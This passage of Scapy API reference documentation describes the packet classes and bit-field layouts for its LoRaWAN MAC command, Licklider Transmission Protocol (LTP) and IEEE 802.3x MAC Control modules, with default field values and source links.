 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RFU   |R|R|C|
+-+-+-+-+-+-+-+-+

                   Fig. RXParamSetupAns_Status                    


RXParamSetupAns_Status fields






	RFU

	XBitField  (5 bits)

	0



	RX1DRoffsetACK

	BitField  (1 bit)

	0



	RX2DatarateACK

	BitField  (1 bit)

	0



	ChannelACK

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.RXParamSetupReq(_pkt, /, *, OptNeg=0, RX1DRoffset=0, RX2_Data_rate=0, Frequency=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L196-L199]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|O|RX1DR|RX2 DAT|                   FREQUENCY                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. RXParamSetupReq                       


RXParamSetupReq fields






	OptNeg

	BitField  (1 bit)

	0



	RX1DRoffset

	XBitField  (3 bits)

	0



	RX2_Data_rate

	XBitField  (4 bits)

	0



	Frequency

	X3BytesField

	0















	
class scapy.contrib.loraphy2wan.RXTimingSetupAns(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L272-L274]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.loraphy2wan.RXTimingSetupReq(_pkt, /, *, RFU=0, Del=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L267-L269]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RFU  |  DEL  |
+-+-+-+-+-+-+-+-+

                      Fig. RXTimingSetupReq                       


RXTimingSetupReq fields






	RFU

	XBitField  (4 bits)

	0



	Del

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.RXTimingSetupReq_Settings(_pkt, /, *, RFU=0, Del=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L261-L264]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RFU  |  DEL  |
+-+-+-+-+-+-+-+-+

                  Fig. RXTimingSetupReq_Settings                  


RXTimingSetupReq_Settings fields






	RFU

	XBitField  (4 bits)

	0



	Del

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.Redundancy(_pkt, /, *, RFU=0, ChMaskCntl=0, NbTrans=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L145-L149]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|CHMAS|NBTRANS|
+-+-+-+-+-+-+-+-+

                         Fig. Redundancy                          


Redundancy fields






	RFU

	XBitField  (1 bit)

	0



	ChMaskCntl

	XBitField  (3 bits)

	0



	NbTrans

	XBitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.RejoinParamSetupAns(_pkt, /, *, RFU=0, TimeOK=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L390-L393]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RFU     |T|
+-+-+-+-+-+-+-+-+

                     Fig. RejoinParamSetupAns                     


RejoinParamSetupAns fields






	RFU

	BitField  (7 bits)

	0



	TimeOK

	BitField  (1 bit)

	0















	
class scapy.contrib.loraphy2wan.RejoinParamSetupReq(_pkt, /, *, MaxTimeN=0, MaxCountN=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L384-L387]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAXTIME|MAXCOUN|
+-+-+-+-+-+-+-+-+

                     Fig. RejoinParamSetupReq                     


RejoinParamSetupReq fields






	MaxTimeN

	BitField  (4 bits)

	0



	MaxCountN

	BitField  (4 bits)

	0















	
class scapy.contrib.loraphy2wan.RejoinReq(_pkt, /, *, Type=0, NetID=0, DevEUI=b'\x00\x00\x00\x00\x00\x00\x00\x00', RJcount0=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L634-L639]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |                     NETID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             DEVEUI            |    RJCOUNT0   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. RejoinReq                          


RejoinReq fields






	Type

	ByteField

	0



	NetID

	X3BytesField

	0



	DevEUI

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	RJcount0

	XShortField

	0















	
class scapy.contrib.loraphy2wan.RekeyConf(_pkt, /, *, ServerVersion=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L342-L344]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SERVERVERSION |
+-+-+-+-+-+-+-+-+

                          Fig. RekeyConf                          


RekeyConf fields






	ServerVersion

	ByteField

	0















	
class scapy.contrib.loraphy2wan.RekeyInd(_pkt, /, *, LoRaWANversion=[b''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L336-L339]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         LORAWANVERSION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RekeyInd                           


RekeyInd fields






	LoRaWANversion

	PacketListField

	[b'']















	
class scapy.contrib.loraphy2wan.ResetConf(_pkt, /, *, Serv_version=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L124-L126]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SERV VERSION |
+-+-+-+-+-+-+-+-+

                          Fig. ResetConf                          


ResetConf fields






	Serv_version

	ByteField

	0















	
class scapy.contrib.loraphy2wan.ResetInd(_pkt, /, *, Dev_version=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L119-L121]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DEV VERSION  |
+-+-+-+-+-+-+-+-+

                          Fig. ResetInd                           


ResetInd fields






	Dev_version

	ByteField

	0















	
class scapy.contrib.loraphy2wan.TxParamSetupAns(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L314-L316]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.loraphy2wan.TxParamSetupReq(_pkt, /, *, RFU=0, DownlinkDwellTime=0, UplinkDwellTime=0, MaxEIRP=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L309-L311]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RFU|D|U|MAXEIRP|
+-+-+-+-+-+-+-+-+

                       Fig. TxParamSetupReq                       


TxParamSetupReq fields






	RFU

	BitField  (2 bits)

	0



	DownlinkDwellTime

	BitEnumField

	0



	UplinkDwellTime

	BitEnumField

	0



	MaxEIRP

	BitEnumField

	0















	
scapy.contrib.loraphy2wan.dpload_type(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/loraphy2wan.py#L642-L647]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ltp


NOTICE
This software/technical data was produced for the U.S. Government
under Prime Contract No. NASA-03001 and JPL Contract No. 1295026
and is subject to FAR 52.227-14 (6/87) Rights in Data General,
and Article GP-51, Rights in Data  General, respectively.
This software is publicly released under MITRE case #12-3054

	
class scapy.contrib.ltp.LTP(_pkt, /, *, version=0, flags=0, SessionOriginator=0, SessionNumber=0, HeaderExtensionCount=None, TrailerExtensionCount=None, HeaderExtensions=[], DATA_ClientServiceID=0, DATA_PayloadOffset=0, DATA_PayloadLength=None, CheckpointSerialNo=0, ReportSerialNo=0, LTP_Payload=[], RA_ReportSerialNo=0, ReportCheckpointSerialNo=0, ReportUpperBound=0, ReportLowerBound=0, ReportReceptionClaimCount=None, ReportReceptionClaims=[], CancelFromSenderReason=15, CancelFromReceiverReason=15, CancelAckToBlockSender=0, CancelAckToBlockReceiver=0, TrailerExtensions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L108-L187]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION| FLAGS |       SESSIONORIGINATOR       | SESSIONNUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |HEADERE|TRAILER|        HEADEREXTENSIONS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA CLIENTSERVICEID     |       DATA PAYLOADOFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       DATA PAYLOADLENGTH      |       CHECKPOINTSERIALNO      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         REPORTSERIALNO        |          LTP PAYLOAD          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       RA REPORTSERIALNO       |    REPORTCHECKPOINTSERIALNO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        REPORTUPPERBOUND       |        REPORTLOWERBOUND       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   REPORTRECEPTIONCLAIMCOUNT   |     REPORTRECEPTIONCLAIMS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CANCELFROMSENDE|CANCELFROMRECEI|     CANCELACKTOBLOCKSENDER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CANCELACKTOBLOCKRECEIVER   |       TRAILEREXTENSIONS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. LTP                             


LTP fields






	version

	BitField  (4 bits)

	0



	flags

	BitEnumField

	0



	SessionOriginator

	SDNV2

	0



	SessionNumber

	SDNV2

	0



	HeaderExtensionCount

	BitFieldLenField  (4 bits)

	None



	TrailerExtensionCount

	BitFieldLenField  (4 bits)

	None



	HeaderExtensions

	PacketListField

	[]



	DATA_ClientServiceID

	SDNV2 (Cond)

	0



	DATA_PayloadOffset

	SDNV2 (Cond)

	0



	DATA_PayloadLength

	SDNV2FieldLenField (Cond)

	None



	CheckpointSerialNo

	SDNV2 (Cond)

	0



	ReportSerialNo

	SDNV2 (Cond)

	0



	LTP_Payload

	PacketListField (Cond)

	[]



	RA_ReportSerialNo

	SDNV2 (Cond)

	0



	ReportCheckpointSerialNo

	SDNV2 (Cond)

	0



	ReportUpperBound

	SDNV2 (Cond)

	0



	ReportLowerBound

	SDNV2 (Cond)

	0



	ReportReceptionClaimCount

	SDNV2FieldLenField (Cond)

	None



	ReportReceptionClaims

	PacketListField (Cond)

	[]



	CancelFromSenderReason

	ByteEnumField (Cond)

	15



	CancelFromReceiverReason

	ByteEnumField (Cond)

	15



	CancelAckToBlockSender

	SDNV2 (Cond)

	0



	CancelAckToBlockReceiver

	SDNV2 (Cond)

	0



	TrailerExtensions

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L186-L187]

	








	
class scapy.contrib.ltp.LTPReceptionClaim(_pkt, /, *, ReceptionClaimOffset=0, ReceptionClaimLength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L92-L98]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L97-L98]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RECEPTIONCLAIMOFFSET     |      RECEPTIONCLAIMLENGTH     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LTPReceptionClaim                      


LTPReceptionClaim fields






	ReceptionClaimOffset

	SDNV2

	0



	ReceptionClaimLength

	SDNV2

	0















	
class scapy.contrib.ltp.LTPex(_pkt, /, *, ExTag=0, ExLength=None, ExData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L79-L89]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L88-L89]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     EXTAG     |            EXLENGTH           |     EXDATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. LTPex                            


LTPex fields






	ExTag

	ByteEnumField

	0



	ExLength

	SDNV2FieldLenField

	None



	ExData

	StrLenField

	b''















	
scapy.contrib.ltp.ltp_bind_payload(cls, lambd)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ltp.py#L68-L76]

	Bind payload class to the LTP packets.


	Parameters:

	
	cls – the class to bind


	lambd – lambda that will be called to check
whether or not the cls should be used
ex: lambda pkt: …















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.mac_control


MACControl


	author:

	Thomas Tannhaeuser, hecke@naberius.de



	description:

	
	This module provides Scapy layers for the MACControl protocol messages:
	
	Pause


	Gate


	Report


	Register/REQ/ACK


	Class Based Flow Control






	normative references:
	
	IEEE 802.3x










	NOTES:

	
	this is based on the MACControl dissector used by Wireshark
(https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-maccontrol.c)










	
class scapy.contrib.mac_control.MACControl(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L48-L130]

	Bases: Packet


	
DEFAULT_DST_MAC = '01:80:c2:00:00:01'

	




	
FLAG_ACK = 3

	




	
FLAG_DEREGISTER = 2

	




	
FLAG_NACK = 4

	




	
FLAG_REGISTER = 1

	




	
OP_CODES = {1: 'pause', 2: 'gate', 3: 'report', 4: 'register req', 5: 'register', 6: 'register_ack', 257: 'class based flow control'}

	flags used by Register* messages






	
OP_CODE_CLASS_BASED_FLOW_CONTROL = 257

	




	
OP_CODE_GATE = 2

	




	
OP_CODE_PAUSE = 1

	




	
OP_CODE_REGISTER = 5

	




	
OP_CODE_REGISTER_ACK = 6

	




	
OP_CODE_REGISTER_REQ = 4

	




	
OP_CODE_REPORT = 3

	




	
REGISTER_FLAGS = {1: 'register', 2: 'deregister', 3: 'ack', 4: 'nack'}

	




	
aliastypes

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L84-L92]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L114-L130]

	add padding to the frame if required.

note that padding is only added if pay is None/empty. this allows us to add  # noqa: E501
any payload after the MACControl* PDU if needed (piggybacking).










	
class scapy.contrib.mac_control.MACControlClassBasedFlowControl(_pkt, /, *, _op_code=257, _reserved=0, c7_enabled=0, c6_enabled=0, c5_enabled=0, c4_enabled=0, c3_enabled=0, c2_enabled=0, c1_enabled=0, c0_enabled=0, c0_pause_time=0, c1_pause_time=0, c2_pause_time=0, c3_pause_time=0, c4_pause_time=0, c5_pause_time=0, c6_pause_time=0, c7_pause_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L210-L230]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |    RESERVED   |C|C|C|C|C|C|C|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         C0 PAUSE TIME         |         C1 PAUSE TIME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         C2 PAUSE TIME         |         C3 PAUSE TIME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         C4 PAUSE TIME         |         C5 PAUSE TIME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         C6 PAUSE TIME         |         C7 PAUSE TIME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. MACControlClassBasedFlowControl               


MACControlClassBasedFlowControl fields






	_op_code

	ShortField

	257



	_reserved

	ByteField

	0



	c7_enabled

	BitField  (1 bit)

	0



	c6_enabled

	BitField  (1 bit)

	0



	c5_enabled

	BitField  (1 bit)

	0



	c4_enabled

	BitField  (1 bit)

	0



	c3_enabled

	BitField  (1 bit)

	0



	c2_enabled

	BitField  (1 bit)

	0



	c1_enabled

	BitField  (1 bit)

	0



	c0_enabled

	BitField  (1 bit)

	0



	c0_pause_time

	ShortField

	0



	c1_pause_time

	ShortField

	0



	c2_pause_time

	ShortField

	0



	c3_pause_time

	ShortField

	0



	c4_pause_time

	ShortField

	0



	c5_pause_time

	ShortField

	0



	c6_pause_time

	ShortField

	0



	c7_pause_time

	ShortField

	0















	
class scapy.contrib.mac_control.MACControlGate(_pkt, /, *, _op_code=2, timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L163-L167]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MACControlGate                        


MACControlGate fields






	_op_code

	ShortField

	2



	timestamp

	IntField

	0















	
exception scapy.contrib.mac_control.MACControlInvalidSpeedException[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L133-L134]

	Bases: Scapy_Exception






	
class scapy.contrib.mac_control.MACControlPause(_pkt, /, *, _op_code=1, pause_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L137-L160]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           PAUSE TIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MACControlPause                       


MACControlPause fields






	_op_code

	ShortField

	1



	pause_time

	ShortField

	0











	
get_pause_time(speed=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L143-L160]

	get pause time for given link speed in seconds


	Parameters:

	speed – select link speed to get the pause time for, must be ETHER_SPEED_MBIT_[10,100,1000]  # noqa: E501



	Returns:

	pause time in seconds



	Raises:

	MACControlInvalidSpeedException – on invalid speed selector














	
class scapy.contrib.mac_control.MACControlRegister(_pkt, /, *, _op_code=5, timestamp=0, flags=0, echoed_assigned_port=0, echoed_sync_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L190-L197]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     FLAGS     |ECHOED ASSIGNED|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        ECHOED SYNC TIME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MACControlRegister                      


MACControlRegister fields






	_op_code

	ShortField

	5



	timestamp

	IntField

	0



	flags

	ByteEnumField

	0



	echoed_assigned_port

	ShortField

	0



	echoed_sync_time

	ShortField

	0















	
class scapy.contrib.mac_control.MACControlRegisterAck(_pkt, /, *, _op_code=6, timestamp=0, flags=0, echoed_assigned_port=0, echoed_sync_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L200-L207]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     FLAGS     |ECHOED ASSIGNED|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        ECHOED SYNC TIME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. MACControlRegisterAck                    


MACControlRegisterAck fields






	_op_code

	ShortField

	6



	timestamp

	IntField

	0



	flags

	ByteEnumField

	0



	echoed_assigned_port

	ShortField

	0



	echoed_sync_time

	ShortField

	0















	
class scapy.contrib.mac_control.MACControlRegisterReq(_pkt, /, *, _op_code=4, timestamp=0, assigned_port=0, flags=0, sync_time=0, echoed_pending_grants=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L179-L187]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         ASSIGNED PORT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |           SYNC TIME           |ECHOED PENDING |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. MACControlRegisterReq                    


MACControlRegisterReq fields






	_op_code

	ShortField

	4



	timestamp

	IntField

	0



	assigned_port

	ShortField

	0



	flags

	ByteEnumField

	0



	sync_time

	ShortField

	0



	echoed_pending_grants

	ByteField

	0















	
class scapy.contrib.mac_control.MACControlReport(_pkt, /, *, _op_code=3, timestamp=0, flags=0, pending_grants=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mac_control.py#L170-L176]

	Bases: MACControl


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OP CODE           |           TIMESTAMP           |
